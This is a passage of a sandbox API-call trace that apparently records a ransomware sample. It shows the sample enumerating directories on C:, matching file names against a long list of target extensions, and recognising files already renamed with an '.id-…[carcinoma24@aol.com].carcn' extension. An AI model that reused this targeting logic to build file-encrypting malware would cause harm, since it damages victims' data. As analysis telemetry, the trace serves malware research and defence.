(lpString=".docx") returned 5 [0294.234] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0294.234] lstrlenW (lpString=".pdf") returned 4 [0294.235] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0294.235] lstrlenW (lpString=".xls") returned 4 [0294.235] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0294.235] lstrlenW (lpString=".xlsx") returned 5 [0294.235] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0294.235] lstrlenW (lpString=".ppt") returned 4 [0294.235] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0294.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0294.235] lstrlenW (lpString=".zip") returned 4 [0294.235] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0294.235] lstrlenW (lpString=".rar") returned 4 [0294.235] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0294.235] lstrlenW (lpString=".bz2") returned 4 [0294.235] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0294.235] lstrlenW (lpString=".7z") returned 3 [0294.235] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0294.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0294.235] lstrlenW (lpString=".dbf") returned 4 [0294.235] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0294.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0294.235] lstrlenW (lpString=".1cd") returned 4 [0294.235] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0294.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0294.235] lstrlenW (lpString=".jpg") returned 4 [0294.235] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0294.236] lstrlenW (lpString=".id-") returned 4 [0294.236] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a0da0 | out: hHeap=0x640000) returned 1 [0294.236] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6cde40 | out: hHeap=0x640000) returned 1 [0294.236] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x37fbb28 | out: hHeap=0x640000) returned 1 [0294.236] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44b0048 | out: hHeap=0x640000) returned 1 [0294.239] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x46b9020 | out: hHeap=0x640000) returned 1 [0294.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a0d88 | out: hHeap=0x640000) returned 1 [0294.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x45e9540 [0294.245] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x45e9540, Size=0x20) returned 0x699c08 [0294.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x45e9660 [0294.245] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x45e9660, Size=0x20) returned 0x699de8 [0294.245] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76650000 [0294.246] GetProcAddress (hModule=0x76650000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76666b30 [0294.246] Wow64DisableWow64FsRedirection (in: OldValue=0x3e3ff50 | out: OldValue=0x3e3ff50*=0x1) returned 1 [0294.246] lstrlenW (lpString="kernel32.dll") returned 12 [0294.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x699de8 | out: hHeap=0x640000) returned 1 [0294.246] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0294.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x699c08 | out: hHeap=0x640000) returned 1 Thread: id = 56 os_tid = 0xd94 [0251.778] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44c0720 [0251.779] lstrlenW (lpString="C:") returned 2 [0251.779] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x3f7fcf8 | out: lpFindFileData=0x3f7fcf8) returned 0x65ad10 [0251.779] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0251.779] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0251.779] lstrlenW (lpString="$GetCurrent") returned 11 [0251.780] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0251.780] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44d0728 [0251.780] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0251.780] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 0x65ad90 [0251.780] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0251.780] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0251.781] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0251.781] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0251.781] lstrlenW (lpString="Logs") returned 4 [0251.781] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0251.781] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44e0730 [0251.782] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0251.782] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0x65add0 [0251.783] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0251.783] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0251.783] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[carcinoma24@aol.com].carcn") returned 77 [0251.783] lstrlenW (lpString=".1cd") returned 4 [0251.783] lstrcmpiW (lpString1=".1cd", lpString2="arcn") returned -1 [0251.783] lstrlenW (lpString=".3ds") returned 4 [0251.783] lstrcmpiW (lpString1=".3ds", lpString2="arcn") returned -1 [0251.783] lstrlenW (lpString=".3fr") returned 4 [0251.783] lstrcmpiW (lpString1=".3fr", lpString2="arcn") returned -1 [0251.783] lstrlenW (lpString=".3g2") returned 4 [0251.783] lstrcmpiW (lpString1=".3g2", lpString2="arcn") returned -1 [0251.783] lstrlenW (lpString=".3gp") returned 4 [0251.783] lstrcmpiW (lpString1=".3gp", lpString2="arcn") returned -1 [0251.783] lstrlenW (lpString=".7z") returned 3 [0251.783] lstrcmpiW (lpString1=".7z", lpString2="rcn") returned -1 [0251.783] lstrlenW (lpString=".accda") returned 6 [0251.783] lstrcmpiW (lpString1=".accda", lpString2=".carcn") returned -1 [0251.783] lstrlenW (lpString=".accdb") returned 6 [0251.783] lstrcmpiW (lpString1=".accdb", lpString2=".carcn") returned -1 [0251.783] lstrlenW (lpString=".accdc") returned 6 [0251.783] lstrcmpiW (lpString1=".accdc", lpString2=".carcn") returned -1 [0251.783] lstrlenW (lpString=".accde") returned 6 [0251.783] lstrcmpiW (lpString1=".accde", lpString2=".carcn") returned -1 [0251.783] lstrlenW (lpString=".accdt") returned 6 [0251.784] lstrcmpiW (lpString1=".accdt", lpString2=".carcn") returned -1 [0251.784] lstrlenW (lpString=".accdw") returned 6 [0251.784] lstrcmpiW (lpString1=".accdw", lpString2=".carcn") returned -1 [0251.784] lstrlenW (lpString=".adb") returned 4 [0251.784] lstrcmpiW (lpString1=".adb", lpString2="arcn") returned -1 [0251.784] lstrlenW (lpString=".adp") returned 4 [0251.784] lstrcmpiW (lpString1=".adp", lpString2="arcn") returned -1 [0251.784] lstrlenW (lpString=".ai") returned 3 [0251.784] lstrcmpiW (lpString1=".ai", lpString2="rcn") returned -1 [0251.784] lstrlenW (lpString=".ai3") returned 4 [0251.784] lstrcmpiW (lpString1=".ai3", lpString2="arcn") returned -1 [0251.784] lstrlenW (lpString=".ai4") returned 4 [0251.784] lstrcmpiW (lpString1=".ai4", lpString2="arcn") returned -1 [0251.784] lstrlenW (lpString=".ai5") returned 4 [0251.784] lstrcmpiW (lpString1=".ai5", lpString2="arcn") returned -1 [0251.784] lstrlenW (lpString=".ai6") returned 4 [0251.784] lstrcmpiW (lpString1=".ai6", lpString2="arcn") returned -1 [0251.784] lstrlenW (lpString=".ai7") returned 4 [0251.784] lstrcmpiW (lpString1=".ai7", lpString2="arcn") returned -1 [0251.784] lstrlenW (lpString=".ai8") returned 4 [0251.784] lstrcmpiW (lpString1=".ai8", lpString2="arcn") returned -1 [0251.784] lstrlenW (lpString=".anim") returned 5 [0251.784] lstrcmpiW (lpString1=".anim", lpString2="carcn") returned -1 [0251.784] lstrlenW (lpString=".arw") returned 4 [0251.784] lstrcmpiW (lpString1=".arw", lpString2="arcn") returned -1 [0251.784] lstrlenW (lpString=".as") returned 3 [0251.784] lstrcmpiW (lpString1=".as", lpString2="rcn") returned -1 [0251.785] lstrlenW (lpString=".asa") returned 4 [0251.785] lstrcmpiW (lpString1=".asa", lpString2="arcn") returned -1 [0251.785] lstrlenW (lpString=".asc") returned 4 [0251.785] lstrcmpiW (lpString1=".asc", lpString2="arcn") returned -1 [0251.785] lstrlenW (lpString=".ascx") returned 5 [0251.785] lstrcmpiW (lpString1=".ascx", lpString2="carcn") returned -1 [0251.785] lstrlenW (lpString=".asm") returned 4 [0251.785] lstrcmpiW (lpString1=".asm", lpString2="arcn") returned -1 [0251.785] lstrlenW (lpString=".asmx") returned 5 [0251.785] lstrcmpiW (lpString1=".asmx", lpString2="carcn") returned -1 [0251.785] lstrlenW (lpString=".asp") returned 4 [0251.785] lstrcmpiW (lpString1=".asp", lpString2="arcn") returned -1 [0251.785] lstrlenW (lpString=".aspx") returned 5 [0251.785] lstrcmpiW (lpString1=".aspx", lpString2="carcn") returned -1 [0251.785] lstrlenW (lpString=".asr") returned 4 [0251.785] lstrcmpiW (lpString1=".asr", lpString2="arcn") returned -1 [0251.785] lstrlenW (lpString=".asx") returned 4 [0251.785] lstrcmpiW (lpString1=".asx", lpString2="arcn") returned -1 [0251.785] lstrlenW (lpString=".avi") returned 4 [0251.785] lstrcmpiW (lpString1=".avi", lpString2="arcn") returned -1 [0251.785] lstrlenW (lpString=".avs") returned 4 [0251.785] lstrcmpiW (lpString1=".avs", lpString2="arcn") returned -1 [0251.785] lstrlenW (lpString=".backup") returned 7 [0251.785] lstrcmpiW (lpString1=".backup", lpString2="].carcn") returned -1 [0251.785] lstrlenW (lpString=".bak") returned 4 [0251.785] lstrcmpiW (lpString1=".bak", lpString2="arcn") returned -1 [0251.785] lstrlenW (lpString=".bay") returned 4 [0251.786] lstrcmpiW (lpString1=".bay", lpString2="arcn") returned -1 [0251.786] lstrlenW (lpString=".bd") returned 3 [0251.786] lstrcmpiW (lpString1=".bd", lpString2="rcn") returned -1 [0251.786] lstrlenW (lpString=".bin") returned 4 [0251.786] lstrcmpiW (lpString1=".bin", lpString2="arcn") returned -1 [0251.786] lstrlenW (lpString=".bmp") returned 4 [0251.786] lstrcmpiW (lpString1=".bmp", lpString2="arcn") returned -1 [0251.786] lstrlenW (lpString=".bz2") returned 4 [0251.786] lstrcmpiW (lpString1=".bz2", lpString2="arcn") returned -1 [0251.786] lstrlenW (lpString=".c") returned 2 [0251.786] lstrcmpiW (lpString1=".c", lpString2="cn") returned -1 [0251.786] lstrlenW (lpString=".cdr") returned 4 [0251.786] lstrcmpiW (lpString1=".cdr", lpString2="arcn") returned -1 [0251.786] lstrlenW (lpString=".cer") returned 4 [0251.786] lstrcmpiW (lpString1=".cer", lpString2="arcn") returned -1 [0251.786] lstrlenW (lpString=".cf") returned 3 [0251.786] lstrcmpiW (lpString1=".cf", lpString2="rcn") returned -1 [0251.786] lstrlenW (lpString=".cfc") returned 4 [0251.786] lstrcmpiW (lpString1=".cfc", lpString2="arcn") returned -1 [0251.786] lstrlenW (lpString=".cfm") returned 4 [0251.786] lstrcmpiW (lpString1=".cfm", lpString2="arcn") returned -1 [0251.786] lstrlenW (lpString=".cfml") returned 5 [0251.786] lstrcmpiW (lpString1=".cfml", lpString2="carcn") returned -1 [0251.786] lstrlenW (lpString=".cfu") returned 4 [0251.786] lstrcmpiW (lpString1=".cfu", lpString2="arcn") returned -1 [0251.786] lstrlenW (lpString=".chm") returned 4 [0251.786] lstrcmpiW (lpString1=".chm", lpString2="arcn") returned -1 [0251.787] lstrlenW (lpString=".cin") returned 4 [0251.787] lstrcmpiW (lpString1=".cin", lpString2="arcn") returned -1 [0251.787] lstrlenW (lpString=".class") returned 6 [0251.787] lstrcmpiW (lpString1=".class", lpString2=".carcn") returned 1 [0251.787] lstrlenW (lpString=".clx") returned 4 [0251.787] lstrcmpiW (lpString1=".clx", lpString2="arcn") returned -1 [0251.787] lstrlenW (lpString=".config") returned 7 [0251.787] lstrcmpiW (lpString1=".config", lpString2="].carcn") returned -1 [0251.787] lstrlenW (lpString=".cpp") returned 4 [0251.787] lstrcmpiW (lpString1=".cpp", lpString2="arcn") returned -1 [0251.787] lstrlenW (lpString=".cr2") returned 4 [0251.787] lstrcmpiW (lpString1=".cr2", lpString2="arcn") returned -1 [0251.787] lstrlenW (lpString=".crt") returned 4 [0251.787] lstrcmpiW (lpString1=".crt", lpString2="arcn") returned -1 [0251.787] lstrlenW (lpString=".crw") returned 4 [0251.787] lstrcmpiW (lpString1=".crw", lpString2="arcn") returned -1 [0251.787] lstrlenW (lpString=".cs") returned 3 [0251.787] lstrcmpiW (lpString1=".cs", lpString2="rcn") returned -1 [0251.787] lstrlenW (lpString=".css") returned 4 [0251.787] lstrcmpiW (lpString1=".css", lpString2="arcn") returned -1 [0251.787] lstrlenW (lpString=".csv") returned 4 [0251.787] lstrcmpiW (lpString1=".csv", lpString2="arcn") returned -1 [0251.787] lstrlenW (lpString=".cub") returned 4 [0251.787] lstrcmpiW (lpString1=".cub", lpString2="arcn") returned -1 [0251.787] lstrlenW (lpString=".dae") returned 4 [0251.787] lstrcmpiW (lpString1=".dae", lpString2="arcn") returned -1 [0251.787] lstrlenW (lpString=".dat") returned 4 [0251.788] lstrcmpiW (lpString1=".dat", lpString2="arcn") returned -1 [0251.788] lstrlenW (lpString=".db") returned 3 [0251.788] lstrcmpiW (lpString1=".db", lpString2="rcn") returned -1 [0251.788] lstrlenW (lpString=".dbf") returned 4 [0251.788] lstrcmpiW (lpString1=".dbf", lpString2="arcn") returned -1 [0251.788] lstrlenW (lpString=".dbx") returned 4 [0251.788] lstrcmpiW (lpString1=".dbx", lpString2="arcn") returned -1 [0251.788] lstrlenW (lpString=".dc3") returned 4 [0251.788] lstrcmpiW (lpString1=".dc3", lpString2="arcn") returned -1 [0251.788] lstrlenW (lpString=".dcm") returned 4 [0251.788] lstrcmpiW (lpString1=".dcm", lpString2="arcn") returned -1 [0251.788] lstrlenW (lpString=".dcr") returned 4 [0251.788] lstrcmpiW (lpString1=".dcr", lpString2="arcn") returned -1 [0251.788] lstrlenW (lpString=".der") returned 4 [0251.788] lstrcmpiW (lpString1=".der", lpString2="arcn") returned -1 [0251.788] lstrlenW (lpString=".dib") returned 4 [0251.788] lstrcmpiW (lpString1=".dib", lpString2="arcn") returned -1 [0251.788] lstrlenW (lpString=".dic") returned 4 [0251.788] lstrcmpiW (lpString1=".dic", lpString2="arcn") returned -1 [0251.788] lstrlenW (lpString=".dif") returned 4 [0251.788] lstrcmpiW (lpString1=".dif", lpString2="arcn") returned -1 [0251.788] lstrlenW (lpString=".divx") returned 5 [0251.788] lstrcmpiW (lpString1=".divx", lpString2="carcn") returned -1 [0251.788] lstrlenW (lpString=".djvu") returned 5 [0251.788] lstrcmpiW (lpString1=".djvu", lpString2="carcn") returned -1 [0251.788] lstrlenW (lpString=".dng") returned 4 [0251.789] lstrcmpiW (lpString1=".dng", lpString2="arcn") returned -1 [0251.789] lstrlenW (lpString=".doc") returned 4 [0251.789] lstrcmpiW (lpString1=".doc", lpString2="arcn") returned -1 [0251.789] lstrlenW (lpString=".docm") returned 5 [0251.789] lstrcmpiW (lpString1=".docm", lpString2="carcn") returned -1 [0251.789] lstrlenW (lpString=".docx") returned 5 [0251.789] lstrcmpiW (lpString1=".docx", lpString2="carcn") returned -1 [0251.789] lstrlenW (lpString=".dot") returned 4 [0251.789] lstrcmpiW (lpString1=".dot", lpString2="arcn") returned -1 [0251.789] lstrlenW (lpString=".dotm") returned 5 [0251.789] lstrcmpiW (lpString1=".dotm", lpString2="carcn") returned -1 [0251.789] lstrlenW (lpString=".dotx") returned 5 [0251.789] lstrcmpiW (lpString1=".dotx", lpString2="carcn") returned -1 [0251.789] lstrlenW (lpString=".dpx") returned 4 [0251.789] lstrcmpiW (lpString1=".dpx", lpString2="arcn") returned -1 [0251.789] lstrlenW (lpString=".dqy") returned 4 [0251.789] lstrcmpiW (lpString1=".dqy", lpString2="arcn") returned -1 [0251.789] lstrlenW (lpString=".dsn") returned 4 [0251.789] lstrcmpiW (lpString1=".dsn", lpString2="arcn") returned -1 [0251.789] lstrlenW (lpString=".dt") returned 3 [0251.789] lstrcmpiW (lpString1=".dt", lpString2="rcn") returned -1 [0251.789] lstrlenW (lpString=".dtd") returned 4 [0251.789] lstrcmpiW (lpString1=".dtd", lpString2="arcn") returned -1 [0251.789] lstrlenW (lpString=".dwg") returned 4 [0251.789] lstrcmpiW (lpString1=".dwg", lpString2="arcn") returned -1 [0251.789] lstrlenW (lpString=".dwt") returned 4 [0251.789] lstrcmpiW (lpString1=".dwt", lpString2="arcn") returned -1 [0251.790] lstrlenW (lpString=".dx") returned 3 [0251.790] lstrcmpiW (lpString1=".dx", lpString2="rcn") returned -1 [0251.790] lstrlenW (lpString=".dxf") returned 4 [0251.790] lstrcmpiW (lpString1=".dxf", lpString2="arcn") returned -1 [0251.790] lstrlenW (lpString=".edml") returned 5 [0251.790] lstrcmpiW (lpString1=".edml", lpString2="carcn") returned -1 [0251.790] lstrlenW (lpString=".efd") returned 4 [0251.790] lstrcmpiW (lpString1=".efd", lpString2="arcn") returned -1 [0251.790] lstrlenW (lpString=".elf") returned 4 [0251.790] lstrcmpiW (lpString1=".elf", lpString2="arcn") returned -1 [0251.790] lstrlenW (lpString=".emf") returned 4 [0251.790] lstrcmpiW (lpString1=".emf", lpString2="arcn") returned -1 [0251.790] lstrlenW (lpString=".emz") returned 4 [0251.790] lstrcmpiW (lpString1=".emz", lpString2="arcn") returned -1 [0251.790] lstrlenW (lpString=".epf") returned 4 [0251.790] lstrcmpiW (lpString1=".epf", lpString2="arcn") returned -1 [0251.790] lstrlenW (lpString=".eps") returned 4 [0251.790] lstrcmpiW (lpString1=".eps", lpString2="arcn") returned -1 [0251.790] lstrlenW (lpString=".epsf") returned 5 [0251.790] lstrcmpiW (lpString1=".epsf", lpString2="carcn") returned -1 [0251.790] lstrlenW (lpString=".epsp") returned 5 [0251.790] lstrcmpiW (lpString1=".epsp", lpString2="carcn") returned -1 [0251.790] lstrlenW (lpString=".erf") returned 4 [0251.790] lstrcmpiW (lpString1=".erf", lpString2="arcn") returned -1 [0251.790] lstrlenW (lpString=".exr") returned 4 [0251.790] lstrcmpiW (lpString1=".exr", lpString2="arcn") returned -1 [0251.790] lstrlenW (lpString=".f4v") returned 4 [0251.790] lstrcmpiW (lpString1=".f4v", lpString2="arcn") returned -1 [0251.791] lstrlenW (lpString=".fido") returned 5 [0251.791] lstrcmpiW (lpString1=".fido", lpString2="carcn") returned -1 [0251.791] lstrlenW (lpString=".flm") returned 4 [0251.791] lstrcmpiW (lpString1=".flm", lpString2="arcn") returned -1 [0251.791] lstrlenW (lpString=".flv") returned 4 [0251.791] lstrcmpiW (lpString1=".flv", lpString2="arcn") returned -1 [0251.791] lstrlenW (lpString=".frm") returned 4 [0251.791] lstrcmpiW (lpString1=".frm", lpString2="arcn") returned -1 [0251.791] lstrlenW (lpString=".fxg") returned 4 [0251.791] lstrcmpiW (lpString1=".fxg", lpString2="arcn") returned -1 [0251.791] lstrlenW (lpString=".geo") returned 4 [0251.791] lstrcmpiW (lpString1=".geo", lpString2="arcn") returned -1 [0251.791] lstrlenW (lpString=".gif") returned 4 [0251.791] lstrcmpiW (lpString1=".gif", lpString2="arcn") returned -1 [0251.791] lstrlenW (lpString=".grs") returned 4 [0251.791] lstrcmpiW (lpString1=".grs", lpString2="arcn") returned -1 [0251.791] lstrlenW (lpString=".gz") returned 3 [0251.791] lstrcmpiW (lpString1=".gz", lpString2="rcn") returned -1 [0251.791] lstrlenW (lpString=".h") returned 2 [0251.791] lstrcmpiW (lpString1=".h", lpString2="cn") returned -1 [0251.791] lstrlenW (lpString=".hdr") returned 4 [0251.791] lstrcmpiW (lpString1=".hdr", lpString2="arcn") returned -1 [0251.791] lstrlenW (lpString=".hpp") returned 4 [0251.791] lstrcmpiW (lpString1=".hpp", lpString2="arcn") returned -1 [0251.791] lstrlenW (lpString=".hta") returned 4 [0251.791] lstrcmpiW (lpString1=".hta", lpString2="arcn") returned -1 [0251.792] lstrlenW (lpString=".htc") returned 4 [0251.792] lstrcmpiW (lpString1=".htc", lpString2="arcn") returned -1 [0251.792] lstrlenW (lpString=".htm") returned 4 [0251.792] lstrcmpiW (lpString1=".htm", lpString2="arcn") returned -1 [0251.792] lstrlenW (lpString=".html") returned 5 [0251.792] lstrcmpiW (lpString1=".html", lpString2="carcn") returned -1 [0251.792] lstrlenW (lpString=".icb") returned 4 [0251.792] lstrcmpiW (lpString1=".icb", lpString2="arcn") returned -1 [0251.792] lstrlenW (lpString=".ics") returned 4 [0251.792] lstrcmpiW (lpString1=".ics", lpString2="arcn") returned -1 [0251.792] lstrlenW (lpString=".iff") returned 4 [0251.792] lstrcmpiW (lpString1=".iff", lpString2="arcn") returned -1 [0251.792] lstrlenW (lpString=".inc") returned 4 [0251.792] lstrcmpiW (lpString1=".inc", lpString2="arcn") returned -1 [0251.792] lstrlenW (lpString=".indd") returned 5 [0251.792] lstrcmpiW (lpString1=".indd", lpString2="carcn") returned -1 [0251.792] lstrlenW (lpString=".ini") returned 4 [0251.792] lstrcmpiW (lpString1=".ini", lpString2="arcn") returned -1 [0251.792] lstrlenW (lpString=".iqy") returned 4 [0251.792] lstrcmpiW (lpString1=".iqy", lpString2="arcn") returned -1 [0251.792] lstrlenW (lpString=".j2c") returned 4 [0251.792] lstrcmpiW (lpString1=".j2c", lpString2="arcn") returned -1 [0251.792] lstrlenW (lpString=".j2k") returned 4 [0251.792] lstrcmpiW (lpString1=".j2k", lpString2="arcn") returned -1 [0251.792] lstrlenW (lpString=".java") returned 5 [0251.792] lstrcmpiW (lpString1=".java", lpString2="carcn") returned -1 [0251.792] lstrlenW (lpString=".jp2") returned 4 [0251.793] lstrcmpiW (lpString1=".jp2", lpString2="arcn") returned -1 [0251.793] lstrlenW (lpString=".jpc") returned 4 [0251.793] lstrcmpiW (lpString1=".jpc", lpString2="arcn") returned -1 [0251.793] lstrlenW (lpString=".jpe") returned 4 [0251.793] lstrcmpiW (lpString1=".jpe", lpString2="arcn") returned -1 [0251.793] lstrlenW (lpString=".jpeg") returned 5 [0251.793] lstrcmpiW (lpString1=".jpeg", lpString2="carcn") returned -1 [0251.793] lstrlenW (lpString=".jpf") returned 4 [0251.793] lstrcmpiW (lpString1=".jpf", lpString2="arcn") returned -1 [0251.793] lstrlenW (lpString=".jpg") returned 4 [0251.793] lstrcmpiW (lpString1=".jpg", lpString2="arcn") returned -1 [0251.793] lstrlenW (lpString=".jpx") returned 4 [0251.793] lstrcmpiW (lpString1=".jpx", lpString2="arcn") returned -1 [0251.793] lstrlenW (lpString=".js") returned 3 [0251.793] lstrcmpiW (lpString1=".js", lpString2="rcn") returned -1 [0251.793] lstrlenW (lpString=".jsf") returned 4 [0251.793] lstrcmpiW (lpString1=".jsf", lpString2="arcn") returned -1 [0251.793] lstrlenW (lpString=".json") returned 5 [0251.793] lstrcmpiW (lpString1=".json", lpString2="carcn") returned -1 [0251.793] lstrlenW (lpString=".jsp") returned 4 [0251.793] lstrcmpiW (lpString1=".jsp", lpString2="arcn") returned -1 [0251.793] lstrlenW (lpString=".kdc") returned 4 [0251.793] lstrcmpiW (lpString1=".kdc", lpString2="arcn") returned -1 [0251.793] lstrlenW (lpString=".kmz") returned 4 [0251.793] lstrcmpiW (lpString1=".kmz", lpString2="arcn") returned -1 [0251.793] lstrlenW (lpString=".kwm") returned 4 [0251.794] lstrcmpiW (lpString1=".kwm", lpString2="arcn") returned -1 [0251.794] lstrlenW (lpString=".lasso") returned 6 [0251.794] lstrcmpiW (lpString1=".lasso", lpString2=".carcn") returned 1 [0251.794] lstrlenW (lpString=".lbi") returned 4 [0251.794] lstrcmpiW (lpString1=".lbi", lpString2="arcn") returned -1 [0251.794] lstrlenW (lpString=".lgf") returned 4 [0251.794] lstrcmpiW (lpString1=".lgf", lpString2="arcn") returned -1 [0251.794] lstrlenW (lpString=".lgp") returned 4 [0251.794] lstrcmpiW (lpString1=".lgp", lpString2="arcn") returned -1 [0251.794] lstrlenW (lpString=".log") returned 4 [0251.794] lstrcmpiW (lpString1=".log", lpString2="arcn") returned -1 [0251.794] lstrlenW (lpString=".m1v") returned 4 [0251.794] lstrcmpiW (lpString1=".m1v", lpString2="arcn") returned -1 [0251.794] lstrlenW (lpString=".m4a") returned 4 [0251.794] lstrcmpiW (lpString1=".m4a", lpString2="arcn") returned -1 [0251.794] lstrlenW (lpString=".m4v") returned 4 [0251.794] lstrcmpiW (lpString1=".m4v", lpString2="arcn") returned -1 [0251.794] lstrlenW (lpString=".max") returned 4 [0251.794] lstrcmpiW (lpString1=".max", lpString2="arcn") returned -1 [0251.794] lstrlenW (lpString=".md") returned 3 [0251.794] lstrcmpiW (lpString1=".md", lpString2="rcn") returned -1 [0251.794] lstrlenW (lpString=".mda") returned 4 [0251.794] lstrcmpiW (lpString1=".mda", lpString2="arcn") returned -1 [0251.794] lstrlenW (lpString=".mdb") returned 4 [0251.794] lstrcmpiW (lpString1=".mdb", lpString2="arcn") returned -1 [0251.794] lstrlenW (lpString=".mde") returned 4 [0251.795] lstrcmpiW (lpString1=".mde", lpString2="arcn") returned -1 [0251.795] lstrlenW (lpString=".mdf") returned 4 [0251.795] lstrcmpiW (lpString1=".mdf", lpString2="arcn") returned -1 [0251.795] lstrlenW (lpString=".mdw") returned 4 [0251.795] lstrcmpiW (lpString1=".mdw", lpString2="arcn") returned -1 [0251.795] lstrlenW (lpString=".mef") returned 4 [0251.795] lstrcmpiW (lpString1=".mef", lpString2="arcn") returned -1 [0251.795] lstrlenW (lpString=".mft") returned 4 [0251.795] lstrcmpiW (lpString1=".mft", lpString2="arcn") returned -1 [0251.795] lstrlenW (lpString=".mfw") returned 4 [0251.795] lstrcmpiW (lpString1=".mfw", lpString2="arcn") returned -1 [0251.795] lstrlenW (lpString=".mht") returned 4 [0251.795] lstrcmpiW (lpString1=".mht", lpString2="arcn") returned -1 [0251.795] lstrlenW (lpString=".mhtml") returned 6 [0251.795] lstrcmpiW (lpString1=".mhtml", lpString2=".carcn") returned 1 [0251.795] lstrlenW (lpString=".mka") returned 4 [0251.795] lstrcmpiW (lpString1=".mka", lpString2="arcn") returned -1 [0251.795] lstrlenW (lpString=".mkidx") returned 6 [0251.795] lstrcmpiW (lpString1=".mkidx", lpString2=".carcn") returned 1 [0251.795] lstrlenW (lpString=".mkv") returned 4 [0251.795] lstrcmpiW (lpString1=".mkv", lpString2="arcn") returned -1 [0251.795] lstrlenW (lpString=".mos") returned 4 [0251.795] lstrcmpiW (lpString1=".mos", lpString2="arcn") returned -1 [0251.795] lstrlenW (lpString=".mov") returned 4 [0251.795] lstrcmpiW (lpString1=".mov", lpString2="arcn") returned -1 [0251.795] lstrlenW (lpString=".mp3") returned 4 [0251.796] lstrcmpiW (lpString1=".mp3", lpString2="arcn") returned -1 [0251.796] lstrlenW (lpString=".mp4") returned 4 [0251.796] lstrcmpiW (lpString1=".mp4", lpString2="arcn") returned -1 [0251.796] lstrlenW (lpString=".mpeg") returned 5 [0251.796] lstrcmpiW (lpString1=".mpeg", lpString2="carcn") returned -1 [0251.796] lstrlenW (lpString=".mpg") returned 4 [0251.796] lstrcmpiW (lpString1=".mpg", lpString2="arcn") returned -1 [0251.796] lstrlenW (lpString=".mpv") returned 4 [0251.796] lstrcmpiW (lpString1=".mpv", lpString2="arcn") returned -1 [0251.796] lstrlenW (lpString=".mrw") returned 4 [0251.796] lstrcmpiW (lpString1=".mrw", lpString2="arcn") returned -1 [0251.796] lstrlenW (lpString=".msg") returned 4 [0251.796] lstrcmpiW (lpString1=".msg", lpString2="arcn") returned -1 [0251.796] lstrlenW (lpString=".mxl") returned 4 [0251.796] lstrcmpiW (lpString1=".mxl", lpString2="arcn") returned -1 [0251.796] lstrlenW (lpString=".myd") returned 4 [0251.797] lstrcmpiW (lpString1=".myd", lpString2="arcn") returned -1 [0251.797] lstrlenW (lpString=".myi") returned 4 [0251.797] lstrcmpiW (lpString1=".myi", lpString2="arcn") returned -1 [0251.797] 